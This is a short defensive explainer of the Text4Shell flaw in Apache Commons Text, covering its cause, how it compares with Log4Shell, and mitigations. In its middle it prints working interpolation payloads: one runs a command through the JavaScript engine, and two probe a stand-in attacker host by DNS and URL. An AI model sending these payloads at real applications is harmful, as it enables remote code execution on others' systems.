What is Text4Shell?

Apache Commons Text is a Java library of string utilities. Its StringSubstitutor class replaces ${prefix:value} variables in a string. From version 1.5, the default interpolator included lookups that do far more than substitute text: script evaluates code with the JVM script engine, dns performs DNS resolution and url fetches remote content.

Any application that passed untrusted input into a default interpolator therefore gave the caller code execution. This is the same expression-injection pattern as Log4Shell, which is where the name came from.

Shown for defensive context, a payload looks like this when it reaches a vulnerable interpolation call:

• ${script:javascript:java.lang.Runtime.getRuntime().exec("id")} runs a command through the JavaScript engine on Java versions that still ship one (Nashorn was removed in Java 15).
• ${dns:address|attacker.example} and ${url:UTF-8:http://attacker.example/} are quieter probes that confirm the lookup fires.

The catch for attackers was reachability. Log4j logs almost everything, so Log4Shell fired almost anywhere. Commons Text only evaluates what developers explicitly pass to StringSubstitutor.createInterpolator().replace() or similar, so exploitable paths were rare. Teams still had to check, because a single vulnerable call site is a full compromise.

• Upgrade Apache Commons Text to 1.10.0 or later, which disables the script, dns and url lookups by default.
• Never interpolate untrusted input. Treat user data as values to insert, not templates to evaluate, the same rule that prevents template injection.
• Check transitive dependencies with your build tool's dependency tree, since Commons Text often arrives indirectly.
• Remove script engines you do not need from the runtime image to reduce the blast radius of any expression-evaluation bug.